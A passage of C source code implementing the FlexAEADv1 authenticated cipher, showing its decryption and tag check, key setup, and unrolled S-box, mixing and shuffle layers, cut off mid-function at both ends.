(c+(*clen-TAGSIZE)))+2) = *(((crypto_uint64 *) tag)+2); *(((crypto_uint64 *) (c+(*clen-TAGSIZE)))+3) = *(((crypto_uint64 *) tag)+3); #endif return 0; }; int crypto_aead_decrypt( unsigned char *m,unsigned long long *mlen, unsigned char *nsec, const unsigned char *c,unsigned long long clen, const unsigned char *ad,unsigned long long adlen, const unsigned char *npub, const unsigned char *k ) { /* ... ... the code for the cipher implementation goes here, ... generating a plaintext m[0],m[1],...,m[*mlen-1] ... and secret message number nsec[0],nsec[1],... ... from a ciphertext c[0],c[1],...,c[clen-1] ... and associated data ad[0],ad[1],...,ad[adlen-1] ... and public message number npub[0],npub[1],... ... and secret key k[0],k[1],... ... */ unsigned long long i; unsigned blocklen; unsigned char state[(BLOCKSIZE>KEYSIZE)?BLOCKSIZE:KEYSIZE]; unsigned char tag[BLOCKSIZE]; unsigned char tag1[BLOCKSIZE]; struct FlexAEADv1 flexaeadv1; if(nsec == NULL) {}; // avoid compiling warnings //memcpy(state,k,KEYSIZE); switch(KEYSIZE) { #if KEYSIZE == 32 case 32: *(((crypto_uint64 *) state)+0) = *(((crypto_uint64 *) k)+0) ; *(((crypto_uint64 *) state)+1) = *(((crypto_uint64 *) k)+1) ; *(((crypto_uint64 *) state)+2) = *(((crypto_uint64 *) k)+2) ; *(((crypto_uint64 *) state)+3) = *(((crypto_uint64 *) k)+3) ; break; #endif #if KEYSIZE >= 16 case 16: *(((crypto_uint64 *) state)+0) = *(((crypto_uint64 *) k)+0) ; *(((crypto_uint64 *) state)+1) = *(((crypto_uint64 *) k)+1) ; break; #endif case 8: *(((crypto_uint64 *) state)+0) = *(((crypto_uint64 *) k)+0) ; break; } FlexAEADv1_init( &flexaeadv1, state ); // ### reset the counter //memcpy(flexaeadv1.counter, npub, NONCESIZE); switch(NONCESIZE) { #if NONCESIZE == 32 case 32: *(((crypto_uint64 *) flexaeadv1.counter)+0) = *(((crypto_uint64 *) npub)+0) ; *(((crypto_uint64 *) flexaeadv1.counter)+1) = *(((crypto_uint64 *) npub)+1) ; *(((crypto_uint64 *) flexaeadv1.counter)+2) = *(((crypto_uint64 *) npub)+2) ; *(((crypto_uint64 *) flexaeadv1.counter)+3) = *(((crypto_uint64 *) npub)+3) ; break; #endif #if NONCESIZE >= 16 case 16: *(((crypto_uint64 *) flexaeadv1.counter)+0) = *(((crypto_uint64 *) npub)+0) ; *(((crypto_uint64 *) flexaeadv1.counter)+1) = *(((crypto_uint64 *) npub)+1) ; break; #endif case 8: *(((crypto_uint64 *) flexaeadv1.counter)+0) = *(((crypto_uint64 *) npub)+0) ; break; } dirPFK( flexaeadv1.counter, flexaeadv1.nBytes, (flexaeadv1.subkeys + SUBKEY2), flexaeadv1.nRounds, flexaeadv1.state ); switch(NONCESIZE) { #if NONCESIZE == 32 case 32: *(((crypto_uint64 *) flexaeadv1.add)+0) = *(((crypto_uint64 *) flexaeadv1.counter)+0) ; *(((crypto_uint64 *) flexaeadv1.add)+1) = *(((crypto_uint64 *) flexaeadv1.counter)+1) ; *(((crypto_uint64 *) flexaeadv1.add)+2) = *(((crypto_uint64 *) flexaeadv1.counter)+2) ; *(((crypto_uint64 *) flexaeadv1.add)+3) = *(((crypto_uint64 *) flexaeadv1.counter)+3) ; break; #endif #if NONCESIZE >= 16 case 16: *(((crypto_uint64 *) flexaeadv1.add)+0) = *(((crypto_uint64 *) flexaeadv1.counter)+0) ; *(((crypto_uint64 *) flexaeadv1.add)+1) = *(((crypto_uint64 *) flexaeadv1.counter)+1) ; break; #endif case 8: *(((crypto_uint64 *) flexaeadv1.add)+0) = *(((crypto_uint64 *) flexaeadv1.counter)+0) ; break; } for( i = 0; i < flexaeadv1.nBytes; i += 4) { if( *((crypto_uint32 *) (flexaeadv1.add+i)) == 0 ) { *((crypto_uint32 *) (flexaeadv1.add+i)) = 0x11111111; } } dirPFK( flexaeadv1.counter, flexaeadv1.nBytes, (flexaeadv1.subkeys + SUBKEY2), flexaeadv1.nRounds, flexaeadv1.state ); // ### remove the tag from ciphertext *mlen = clen; *mlen -= TAGSIZE; memcpyopt(tag,c+*mlen,TAGSIZE); // ### calculate the checksum from the AD i = 0; while( i+flexaeadv1.nBytes <= adlen) { //memcpy( state, ad+i, flexaeadv1.nBytes); *(((crypto_uint64 *) state)+0) = *(((crypto_uint64 *) (ad+i))+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) state)+1) = *(((crypto_uint64 *) (ad+i))+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) state)+2) = *(((crypto_uint64 *) (ad+i))+2); *(((crypto_uint64 *) state)+3) = *(((crypto_uint64 *) (ad+i))+3); #endif mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); sumAD( &flexaeadv1, state, 0); i += flexaeadv1.nBytes; } if(i<adlen) { //memset(state, 0x00, flexaeadv1.nBytes); *(((crypto_uint64 *) state)+0) = 0; #if BLOCKSIZE >= 16 *(((crypto_uint64 *) state)+1) = 0; #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) state)+2) = 0; *(((crypto_uint64 *) state)+3) = 0; #endif state[adlen-i]=0x80; memcpyopt(state,ad+i,(adlen-i)); mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); sumAD( &flexaeadv1, state, 1); } // ### separation in between AD and M mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); for( i = 0; i<flexaeadv1.nBytes; i+=8) { *(((crypto_uint64 *) (flexaeadv1.checksum+i))) ^= *(((crypto_uint64 *) (flexaeadv1.counter+i))); } // ### decrypt the ciphertext and calclulate the tag i = 0; while( i < *mlen) { //memcpy(m+i,c+i,flexaeadv1.nBytes); *(((crypto_uint64 *) (m+i))+0) = *(((crypto_uint64 *) (c+i))+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) (m+i))+1) = *(((crypto_uint64 *) (c+i))+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) (m+i))+2) = *(((crypto_uint64 *) (c+i))+2); *(((crypto_uint64 *) (m+i))+3) = *(((crypto_uint64 *) (c+i))+3); #endif mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); decryptBlock( &flexaeadv1, m+i); i += flexaeadv1.nBytes; } *(((crypto_uint64 *) tag1)+0) = *(((crypto_uint64 *) flexaeadv1.checksum)+0)^0xAAAAAAAAAAAAAAAA; #if BLOCKSIZE >= 16 *(((crypto_uint64 *) tag1)+1) = *(((crypto_uint64 *) flexaeadv1.checksum)+1)^0xAAAAAAAAAAAAAAAA; #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) tag1)+2) = *(((crypto_uint64 *) flexaeadv1.checksum)+2)^0xAAAAAAAAAAAAAAAA; *(((crypto_uint64 *) tag1)+3) = *(((crypto_uint64 *) flexaeadv1.checksum)+3)^0xAAAAAAAAAAAAAAAA; #endif dirPFK( tag1, flexaeadv1.nBytes, (flexaeadv1.subkeys + SUBKEY0), flexaeadv1.nRounds, flexaeadv1.state ); if(memcmp(tag1,tag,TAGSIZE)) { *(((crypto_uint64 *) tag1)+0) = *(((crypto_uint64 *) flexaeadv1.checksum)+0)^0x5555555555555555; #if BLOCKSIZE >= 16 *(((crypto_uint64 *) tag1)+1) = *(((crypto_uint64 *) flexaeadv1.checksum)+1)^0x5555555555555555; #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) tag1)+2) = *(((crypto_uint64 *) flexaeadv1.checksum)+2)^0x5555555555555555; *(((crypto_uint64 *) tag1)+3) = *(((crypto_uint64 *) flexaeadv1.checksum)+3)^0x5555555555555555; #endif dirPFK( tag1, flexaeadv1.nBytes, (flexaeadv1.subkeys + SUBKEY0), flexaeadv1.nRounds, flexaeadv1.state ); if(memcmp(tag1,tag,TAGSIZE)) { *mlen=0; return -1; } blocklen = flexaeadv1.nBytes; *mlen -= blocklen; blocklen = unpadBlock( m+*mlen, flexaeadv1.nBytes); *mlen += blocklen; } return 0; }; void FlexAEADv1_init(struct FlexAEADv1 * self, unsigned char *key ) { unsigned char keystate[KEYSIZE]; unsigned long long i; //memset((*self).checksum,0x00,BLOCKSIZE); *(((crypto_uint64 *) (*self).checksum)+0) = 0; #if BLOCKSIZE >= 16 *(((crypto_uint64 *) (*self).checksum)+1) = 0; #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) (*self).checksum)+2) = 0; *(((crypto_uint64 *) (*self).checksum)+3) = 0; #endif (*self).nBytes = BLOCKSIZE; (*self).nRounds = 0; i = 1; while( i < (KEYSIZE/2) ) { i <<= 1; (*self).nRounds ++; } i=0; while( i < (*self).nBytes*6) { if(i==0) { //memset((*self).subkeys,0x00,KEYSIZE/2); *(((crypto_uint64 *) ((*self).subkeys))+0) = 0; #if KEYSIZE == 32 *(((crypto_uint64 *) ((*self).subkeys))+1) = 0; #endif } else { //memcpy( (*self).subkeys+i, ((*self).subkeys+i-(KEYSIZE/2)), (KEYSIZE/2)); #if KEYSIZE == 16 *(((crypto_uint64 *) ((*self).subkeys+i))+0) = *(((crypto_uint64 *) ((*self).subkeys+i-8))+0); #endif #if KEYSIZE == 32 *(((crypto_uint64 *) ((*self).subkeys+i))+0) = *(((crypto_uint64 *) ((*self).subkeys+i-16))+0); *(((crypto_uint64 *) ((*self).subkeys+i))+1) = *(((crypto_uint64 *) ((*self).subkeys+i-16))+1); #endif } dirPFK( ((*self).subkeys+i), (KEYSIZE/2), key, (*self).nRounds, keystate ); dirPFK( ((*self).subkeys+i), (KEYSIZE/2), key, (*self).nRounds, keystate ); dirPFK( ((*self).subkeys+i), (KEYSIZE/2), key, (*self).nRounds, keystate ); i += (KEYSIZE/2); } (*self).nRounds = 0; i = 1; while( i < BLOCKSIZE ) { i <<= 1; (*self).nRounds ++; } }; inline void memcpyopt( void * a, const void * b, unsigned c) { unsigned i = 0; while( i < c ) { if( (i+8) <= c) { *((crypto_uint64 *) (a+i)) = *((crypto_uint64 *) (b+i)); i+=8; } else if( (i+4) <= c) { *((crypto_uint32 *) (a+i)) = *((crypto_uint32 *) (b+i)); i+=4; } else if( (i+2) <= c) { *((crypto_uint16 *) (a+i)) = *((crypto_uint16 *) (b+i)); i+=2; } else { *((crypto_uint8 *) (a+i)) = *((crypto_uint8 *) (b+i)); i+=1; } } }; inline void mwc32( unsigned char * state, unsigned char * add, unsigned blocklen) { crypto_uint64 t; for( unsigned i = 0; i < blocklen; i += 4) { t = 4294967220 * (crypto_uint64) (*((crypto_uint32 *) (state+i))) + *((crypto_uint32 *) (add+i)); *((crypto_uint32 *) (add+i)) = (crypto_uint32) (t>>32); *((crypto_uint32 *) (state+i)) = (t&0xFFFFFFFF); } return; } inline void dirSBoxLayer( unsigned char * block, unsigned blocklen ) { //unsigned i = 0; //for( i=0*(blocklen/4); i<1*(blocklen/4); i++ ) // *(block+i) = dirSBox0[ *(block+i) ]; //for( i=1*(blocklen/4); i<2*(blocklen/4); i++ ) // *(block+i) = dirSBox1[ *(block+i) ]; //for( i=2*(blocklen/4); i<3*(blocklen/4); i++ ) // *(block+i) = dirSBox2[ *(block+i) ]; //for( i=3*(blocklen/4); i<4*(blocklen/4); i++ ) // *(block+i) = dirSBox3[ *(block+i) ]; switch(blocklen) { case 8: *(block+0) = dirSBox0[ *(block+0) ]; *(block+1) = dirSBox0[ *(block+1) ]; *(block+2) = dirSBox1[ *(block+2) ]; *(block+3) = dirSBox1[ *(block+3) ]; *(block+4) = dirSBox2[ *(block+4) ]; *(block+5) = dirSBox2[ *(block+5) ]; *(block+6) = dirSBox3[ *(block+6) ]; *(block+7) = dirSBox3[ *(block+7) ]; break; #if BLOCKSIZE >= 16 case 16: *(block+0) = dirSBox0[ *(block+0) ]; *(block+1) = dirSBox0[ *(block+1) ]; *(block+2) = dirSBox0[ *(block+2) ]; *(block+3) = dirSBox0[ *(block+3) ]; *(block+4) = dirSBox1[ *(block+4) ]; *(block+5) = dirSBox1[ *(block+5) ]; *(block+6) = dirSBox1[ *(block+6) ]; *(block+7) = dirSBox1[ *(block+7) ]; *(block+8) = dirSBox2[ *(block+8) ]; *(block+9) = dirSBox2[ *(block+9) ]; *(block+10) = dirSBox2[ *(block+10) ]; *(block+11) = dirSBox2[ *(block+11) ]; *(block+12) = dirSBox3[ *(block+12) ]; *(block+13) = dirSBox3[ *(block+13) ]; *(block+14) = dirSBox3[ *(block+14) ]; *(block+15) = dirSBox3[ *(block+15) ]; break; #endif #if BLOCKSIZE == 32 case 32: *(block+0) = dirSBox0[ *(block+0) ]; *(block+1) = dirSBox0[ *(block+1) ]; *(block+2) = dirSBox0[ *(block+2) ]; *(block+3) = dirSBox0[ *(block+3) ]; *(block+4) = dirSBox0[ *(block+4) ]; *(block+5) = dirSBox0[ *(block+5) ]; *(block+6) = dirSBox0[ *(block+6) ]; *(block+7) = dirSBox0[ *(block+7) ]; *(block+8) = dirSBox1[ *(block+8) ]; *(block+9) = dirSBox1[ *(block+9) ]; *(block+10) = dirSBox1[ *(block+10) ]; *(block+11) = dirSBox1[ *(block+11) ]; *(block+12) = dirSBox1[ *(block+12) ]; *(block+13) = dirSBox1[ *(block+13) ]; *(block+14) = dirSBox1[ *(block+14) ]; *(block+15) = dirSBox1[ *(block+15) ]; *(block+16) = dirSBox2[ *(block+16) ]; *(block+17) = dirSBox2[ *(block+17) ]; *(block+18) = dirSBox2[ *(block+18) ]; *(block+19) = dirSBox2[ *(block+19) ]; *(block+20) = dirSBox2[ *(block+20) ]; *(block+21) = dirSBox2[ *(block+21) ]; *(block+22) = dirSBox2[ *(block+22) ]; *(block+23) = dirSBox2[ *(block+23) ]; *(block+24) = dirSBox3[ *(block+24) ]; *(block+25) = dirSBox3[ *(block+25) ]; *(block+26) = dirSBox3[ *(block+26) ]; *(block+27) = dirSBox3[ *(block+27) ]; *(block+28) = dirSBox3[ *(block+28) ]; *(block+29) = dirSBox3[ *(block+29) ]; *(block+30) = dirSBox3[ *(block+30) ]; *(block+31) = dirSBox3[ *(block+31) ]; break; #endif } }; inline void invSBoxLayer( unsigned char * block, unsigned blocklen ) { //unsigned i = 0; //for( i=0*(blocklen/4); i<1*(blocklen/4); i++ ) // *(block+i) = invSBox0[ *(block+i) ]; //for( i=1*(blocklen/4); i<2*(blocklen/4); i++ ) // *(block+i) = invSBox1[ *(block+i) ]; //for( i=2*(blocklen/4); i<3*(blocklen/4); i++ ) // *(block+i) = invSBox2[ *(block+i) ]; //for( i=3*(blocklen/4); i<4*(blocklen/4); i++ ) // *(block+i) = invSBox3[ *(block+i) ]; switch(blocklen) { case 8: *(block+0) = invSBox0[ *(block+0) ]; *(block+1) = invSBox0[ *(block+1) ]; *(block+2) = invSBox1[ *(block+2) ]; *(block+3) = invSBox1[ *(block+3) ]; *(block+4) = invSBox2[ *(block+4) ]; *(block+5) = invSBox2[ *(block+5) ]; *(block+6) = invSBox3[ *(block+6) ]; *(block+7) = invSBox3[ *(block+7) ]; break; #if BLOCKSIZE >= 16 case 16: *(block+0) = invSBox0[ *(block+0) ]; *(block+1) = invSBox0[ *(block+1) ]; *(block+2) = invSBox0[ *(block+2) ]; *(block+3) = invSBox0[ *(block+3) ]; *(block+4) = invSBox1[ *(block+4) ]; *(block+5) = invSBox1[ *(block+5) ]; *(block+6) = invSBox1[ *(block+6) ]; *(block+7) = invSBox1[ *(block+7) ]; *(block+8) = invSBox2[ *(block+8) ]; *(block+9) = invSBox2[ *(block+9) ]; *(block+10) = invSBox2[ *(block+10) ]; *(block+11) = invSBox2[ *(block+11) ]; *(block+12) = invSBox3[ *(block+12) ]; *(block+13) = invSBox3[ *(block+13) ]; *(block+14) = invSBox3[ *(block+14) ]; *(block+15) = invSBox3[ *(block+15) ]; break; #endif #if BLOCKSIZE == 32 case 32: *(block+0) = invSBox0[ *(block+0) ]; *(block+1) = invSBox0[ *(block+1) ]; *(block+2) = invSBox0[ *(block+2) ]; *(block+3) = invSBox0[ *(block+3) ]; *(block+4) = invSBox0[ *(block+4) ]; *(block+5) = invSBox0[ *(block+5) ]; *(block+6) = invSBox0[ *(block+6) ]; *(block+7) = invSBox0[ *(block+7) ]; *(block+8) = invSBox1[ *(block+8) ]; *(block+9) = invSBox1[ *(block+9) ]; *(block+10) = invSBox1[ *(block+10) ]; *(block+11) = invSBox1[ *(block+11) ]; *(block+12) = invSBox1[ *(block+12) ]; *(block+13) = invSBox1[ *(block+13) ]; *(block+14) = invSBox1[ *(block+14) ]; *(block+15) = invSBox1[ *(block+15) ]; *(block+16) = invSBox2[ *(block+16) ]; *(block+17) = invSBox2[ *(block+17) ]; *(block+18) = invSBox2[ *(block+18) ]; *(block+19) = invSBox2[ *(block+19) ]; *(block+20) = invSBox2[ *(block+20) ]; *(block+21) = invSBox2[ *(block+21) ]; *(block+22) = invSBox2[ *(block+22) ]; *(block+23) = invSBox2[ *(block+23) ]; *(block+24) = invSBox3[ *(block+24) ]; *(block+25) = invSBox3[ *(block+25) ]; *(block+26) = invSBox3[ *(block+26) ]; *(block+27) = invSBox3[ *(block+27) ]; *(block+28) = invSBox3[ *(block+28) ]; *(block+29) = invSBox3[ *(block+29) ]; *(block+30) = invSBox3[ *(block+30) ]; *(block+31) = invSBox3[ *(block+31) ]; break; #endif } }; inline void dirMixQuartersLayer( unsigned char * block, unsigned blocklen, unsigned char * state ) { switch(blocklen) { case 8: *(((crypto_uint16 *)state)+3) = *(((crypto_uint16 *)block)+0)^ *(((crypto_uint16 *)block)+1)^ *(((crypto_uint16 *)block)+2)^ *(((crypto_uint16 *)block)+3); *(((crypto_uint16 *)state)+0) = *(((crypto_uint16 *)state)+3)^ *(((crypto_uint16 *)block)+0); *(((crypto_uint16 *)state)+1) = *(((crypto_uint16 *)state)+3)^ *(((crypto_uint16 *)block)+1); *(((crypto_uint16 *)state)+2) = *(((crypto_uint16 *)state)+3)^ *(((crypto_uint16 *)block)+2); *(((crypto_uint16 *)state)+3) = *(((crypto_uint16 *)state)+3)^ *(((crypto_uint16 *)block)+3); break; #if BLOCKSIZE >= 16 case 16: *(((crypto_uint32 *)state)+3) = *(((crypto_uint32 *)block)+0)^ *(((crypto_uint32 *)block)+1)^ *(((crypto_uint32 *)block)+2)^ *(((crypto_uint32 *)block)+3); *(((crypto_uint32 *)state)+0) = *(((crypto_uint32 *)state)+3)^ *(((crypto_uint32 *)block)+0); *(((crypto_uint32 *)state)+1) = *(((crypto_uint32 *)state)+3)^ *(((crypto_uint32 *)block)+1); *(((crypto_uint32 *)state)+2) = *(((crypto_uint32 *)state)+3)^ *(((crypto_uint32 *)block)+2); *(((crypto_uint32 *)state)+3) = *(((crypto_uint32 *)state)+3)^ *(((crypto_uint32 *)block)+3); break; #endif #if BLOCKSIZE >= 32 case 32: *(((crypto_uint64 *)state)+3) = *(((crypto_uint64 *)block)+0)^ *(((crypto_uint64 *)block)+1)^ *(((crypto_uint64 *)block)+2)^ *(((crypto_uint64 *)block)+3); *(((crypto_uint64 *)state)+0) = *(((crypto_uint64 *)state)+3)^ *(((crypto_uint64 *)block)+0); *(((crypto_uint64 *)state)+1) = *(((crypto_uint64 *)state)+3)^ *(((crypto_uint64 *)block)+1); *(((crypto_uint64 *)state)+2) = *(((crypto_uint64 *)state)+3)^ *(((crypto_uint64 *)block)+2); *(((crypto_uint64 *)state)+3) = *(((crypto_uint64 *)state)+3)^ *(((crypto_uint64 *)block)+3); break; #endif } memcpyopt( block, state, blocklen); return; } inline void dirShuffleLayer( unsigned char * block, unsigned blocklen, unsigned char * state ) { //unsigned i = 0; //for( i=0; i<blocklen/2; i++) //{ // *(state+(2*i+0)) = *(block+(0*(blocklen/2)+i)); // *(state+(2*i+1)) = *(block+(1*(blocklen/2)+i)); //} crypto_uint64 x; switch(blocklen) { case 8: x = *(((crypto_uint64 *) block)+0); *(((crypto_uint64 *) state)+0) = ((x&0xff)<<0) // *(state+(0)) = *(block+(0)) + ((x&0xff00000000)>>24) // *(state+(1)) = *(block+(4)) + ((x&0xff00)<<8) // *(state+(2)) = *(block+(1)) + ((x&0xff0000000000)>>16) // *(state+(3)) = *(block+(5)) + ((x&0xff0000)<<16) // *(state+(4)) = *(block+(2)) + ((x&0xff000000000000)>>8) // *(state+(5)) = *(block+(6)) + ((x&0xff000000)<<24) // *(state+(6)) = *(block+(3)) + ((x&0xff00000000000000)<<0); // *(state+(7)) = *(block+(7)) *(((crypto_uint64 *) block)+0) = *(((crypto_uint64 *) state)+0); /* *(state+(0)) = *(block+(0)); *(state+(1)) = *(block+(4)); *(state+(2)) = *(block+(1)); *(state+(3)) = *(block+(5)); *(state+(4)) = *(block+(2)); *(state+(5)) = *(block+(6)); *(state+(6)) = *(block+(3)); *(state+(7)) = *(block+(7)); */ /* *(state+(2*0+0)) = *(block+(0*4+0)); *(state+(2*0+1)) = *(block+(1*4+0)); *(state+(2*1+0)) = *(block+(0*4+1)); *(state+(2*1+1)) = *(block+(1*4+1)); *(state+(2*2+0)) = *(block+(0*4+2)); *(state+(2*2+1)) = *(block+(1*4+2)); *(state+(2*3+0)) = *(block+(0*4+3)); *(state+(2*3+1)) = *(block+(1*4+3)); */ break; #if BLOCKSIZE >= 16 case 16: x = *(((crypto_uint64 *) block)+0); *(((crypto_uint64 *) state)+0) = ((x&0xff)<<0) // *(state+(0)) = *(block+(0)) + ((x&0xff00)<<8) // *(state+(2)) = *(block+(1)) + ((x&0xff0000)<<16) // *(state+(4)) = *(block+(2)) + ((x&0xff000000)<<24); // *(state+(6)) = *(block+(3)) *(((crypto_uint64 *) state)+1) = ((x&0xff00000000)>>32) // *(state+(8+0)) = *(block+(4)) + ((x&0xff0000000000)>>24) // *(state+(8+2)) = *(block+(5)) + ((x&0xff000000000000)>>16) // *(state+(8+4)) = *(block+(6)) + ((x&0xff00000000000000)>>8); // *(state+(8+6)) = *(block+(7)) /* *(state+(0)) = *(block+(0)); *(state+(2)) = *(block+(1)); *(state+(4)) = *(block+(2)); *(state+(6)) = *(block+(3)); *(state+(8)) = *(block+(4)); *(state+(10)) = *(block+(5)); *(state+(12)) = *(block+(6)); *(state+(14)) = *(block+(7)); */ x = *(((crypto_uint64 *) block)+1); *(((crypto_uint64 *) state)+0) += ((x&0xff)<<8) // *(state+(1)) = *(block+(8+0)) + ((x&0xff00)<<16) // *(state+(3)) = *(block+(8+1)) + ((x&0xff0000)<<24) // *(state+(5)) = *(block+(8+2)) + ((x&0xff000000)<<32); // *(state+(7)) = *(block+(8+3)) *(((crypto_uint64 *) state)+1) += ((x&0xff00000000)>>24) // *(state+(8+1)) = *(block+(8+4)) + ((x&0xff0000000000)>>16) // *(state+(8+3)) = *(block+(8+5)) + ((x&0xff000000000000)>>8) // *(state+(8+5)) = *(block+(8+6)) + ((x&0xff00000000000000)>>0); // *(state+(8+8)) = *(block+(8+7)) /* *(state+(1)) = *(block+(8)); *(state+(3)) = *(block+(9)); *(state+(5)) = *(block+(10)); *(state+(7)) = *(block+(11)); *(state+(9)) = *(block+(12)); *(state+(11)) = *(block+(13)); *(state+(13)) = *(block+(14)); *(state+(15)) = *(block+(15)); */ *(((crypto_uint64 *) block)+0) = *(((crypto_uint64 *) state)+0); *(((crypto_uint64 *) block)+1) = *(((crypto_uint64 *) state)+1); /* *(state+(2*0+0)) = *(block+(0*8+0)); *(state+(2*0+1)) = *(block+(1*8+0)); *(state+(2*1+0)) = *(block+(0*8+1)); *(state+(2*1+1)) = *(block+(1*8+1)); *(state+(2*2+0)) = *(block+(0*8+2)); *(state+(2*2+1)) = *(block+(1*8+2)); *(state+(2*3+0)) = *(block+(0*8+3)); *(state+(2*3+1)) = *(block+(1*8+3)); *(state+(2*4+0)) = *(block+(0*8+4)); *(state+(2*4+1)) = *(block+(1*8+4)); *(state+(2*5+0)) = *(block+(0*8+5)); *(state+(2*5+1)) = *(block+(1*8+5)); *(state+(2*6+0)) = *(block+(0*8+6)); *(state+(2*6+1)) = *(block+(1*8+6)); *(state+(2*7+0)) = *(block+(0*8+7)); *(state+(2*7+1)) = *(block+(1*8+7)); */ break; #endif #if BLOCKSIZE >= 32 case 32: x = *(((crypto_uint64 *) block)+0); *(((crypto_uint64 *) state)+0) = ((x&0xff)>>0) + ((x&0xff00)<<8) + ((x&0xff0000)<<16) + ((x&0xff000000)<<24); *(((crypto_uint64 *) state)+1) = ((x&0xff00000000)>>32) + ((x&0xff0000000000)>>24) + ((x&0xff000000000000)>>16) + ((x&0xff00000000000000)>>8); /* *(state+(8*0+0)) = *(block+(00+0)); *(state+(8*0+2)) = *(block+(00+1)); *(state+(8*0+4)) = *(block+(00+2)); *(state+(8*0+6)) = *(block+(00+3)); */ /* *(state+(8*1+0)) = *(block+(00+4)); *(state+(8*1+2)) = *(block+(00+5)); *(state+(8*1+4)) = *(block+(00+6)); *(state+(8*1+6)) = *(block+(00+7)); */ x = *(((crypto_uint64 *) block)+1); *(((crypto_uint64 *) state)+2) = ((x&0xff)>>0) + ((x&0xff00)<<8) + ((x&0xff0000)<<16) + ((x&0xff000000)<<24); *(((crypto_uint64 *) state)+3) = ((x&0xff00000000)>>32) + ((x&0xff0000000000)>>24) + ((x&0xff000000000000)>>16) + ((x&0xff00000000000000)>>8); /* *(state+(8*2+0)) = *(block+(08+0)); *(state+(8*2+2)) = *(block+(08+1)); *(state+(8*2+4)) = *(block+(08+2)); *(state+(8*2+6)) = *(block+(08+3)); */ /* *(state+(8*3+0)) = *(block+(08+4)); *(state+(8*3+2)) = *(block+(08+5)); *(state+(8*3+4)) = *(block+(08+6)); *(state+(8*3+6)) = *(block+(08+7)); */ x = *(((crypto_uint64 *) block)+2); *(((crypto_uint64 *) state)+0) += ((x&0xff)<<8) + ((x&0xff00)<<16) + ((x&0xff0000)<<24) + ((x&0xff000000)<<32); *(((crypto_uint64 *) state)+1) += ((x&0xff00000000)>>24) + ((x&0xff0000000000)>>16) + ((x&0xff000000000000)>>8) + ((x&0xff00000000000000)>>0); /* *(state+(8*0+1)) = *(block+(16+0)); *(state+(8*0+3)) = *(block+(16+1)); *(state+(8*0+5)) = *(block+(16+2)); *(state+(8*0+7)) = *(block+(16+3)); */ /* *(state+(8*1+1)) = *(block+(16+4)); *(state+(8*1+3)) = *(block+(16+5)); *(state+(8*1+5)) = *(block+(16+6)); *(state+(8*1+7)) = *(block+(16+7)); */ x = *(((crypto_uint64 *) block)+3); *(((crypto_uint64 *) state)+2) += ((x&0xff)<<8) + ((x&0xff00)<<16) + ((x&0xff0000)<<24) + ((x&0xff000000)<<32); *(((crypto_uint64 *) state)+3) += ((x&0xff00000000)>>24) + ((x&0xff0000000000)>>16) + ((x&0xff000000000000)>>8) + ((x&0xff00000000000000)>>0); /* *(state+(8*2+1)) = *(block+(24+0)); *(state+(8*2+3)) = *(block+(24+1)); *(state+(8*2+5)) = *(block+(24+2)); *(state+(8*2+7)) = *(block+(24+3)); */ /* *(state+(8*3+1)) = *(block+(24+4)); *(state+(8*3+3)) = *(block+(24+5)); *(state+(8*3+5)) = *(block+(24+6)); *(state+(8*3+7)) = *(block+(24+7)); */ /* *(state+(2*0+0)) = *(block+(0*16+0)); *(state+(2*0+1)) = *(block+(1*16+0)); *(state+(2*1+0)) = *(block+(0*16+1)); *(state+(2*1+1)) = *(block+(1*16+1)); *(state+(2*2+0)) = *(block+(0*16+2)); *(state+(2*2+1)) = *(block+(1*16+2)); *(state+(2*3+0)) = *(block+(0*16+3)); *(state+(2*3+1)) = *(block+(1*16+3)); *(state+(2*4+0)) = *(block+(0*16+4)); *(state+(2*4+1)) = *(block+(1*16+4)); *(state+(2*5+0)) = *(block+(0*16+5)); *(state+(2*5+1)) = *(block+(1*16+5)); *(state+(2*6+0)) = *(block+(0*16+6)); *(state+(2*6+1)) = *(block+(1*16+6)); *(state+(2*7+0)) = *(block+(0*16+7)); *(state+(2*7+1)) = *(block+(1*16+7)); *(state+(2*8+0)) = *(block+(0*16+8)); *(state+(2*8+1)) = *(block+(1*16+8)); *(state+(2*9+0)) = *(block+(0*16+9)); *(state+(2*9+1)) = *(block+(1*16+9)); *(state+(2*10+0)) = *(block+(0*16+10)); *(state+(2*10+1)) = *(block+(1*16+10)); *(state+(2*11+0)) = *(block+(0*16+11)); *(state+(2*11+1)) = *(block+(1*16+11)); *(state+(2*12+0)) = *(block+(0*16+12)); *(state+(2*12+1)) = *(block+(1*16+12)); *(state+(2*13+0)) = *(block+(0*16+13)); *(state+(2*13+1)) = *(block+(1*16+13)); *(state+(2*14+0)) = *(block+(0*16+14)); *(state+(2*14+1)) = *(block+(1*16+14)); *(state+(2*15+0)) = *(block+(0*16+15)); *(state+(2*15+1)) = *(block+(1*16+15)); */ *(((crypto_uint64 *) block)+0) = *(((crypto_uint64 *) state)+0); *(((crypto_uint64 *) block)+1) = *(((crypto_uint64 *) state)+1); *(((crypto_uint64 *) block)+2) = *(((crypto_uint64 *) state)+2); *(((crypto_uint64 *) block)+3) = *(((crypto_uint64 *) state)+3); break; #endif } //memcpy( block, state, blocklen); return; } inline void invShuffleLayer( unsigned char * block, unsigned blocklen, unsigned char * state ) { //unsigned i = 0; //for( i=0; i<blocklen/2; i++) //{ // *(state+(0*(blocklen/2)+i)) = *(block+(2*i+0)); // *(state+(1*(blocklen/2)+i)) = *(block+(2*i+1)); //} //print('switch(blocklen)') //print('{') //for blocklen in (8,16,32): //print('case {}:'.format(blocklen)) //for i in range(int(blocklen/2)): //print('*(state+(0*{}+{})) = *(block+(2*{}+0));'.format(int(blocklen/2),i,i)) //print('*(state+(1*{}+{})) = *(block+(2*{}+1));'.format(int(blocklen/2),i,i)) //print('break;') //print('}') crypto_uint64 x; switch(blocklen) { case 8: x = *(((crypto_uint64 *) block)+0); *(((crypto_uint64 *) state)+0) = ((x&0xff)<<0) // 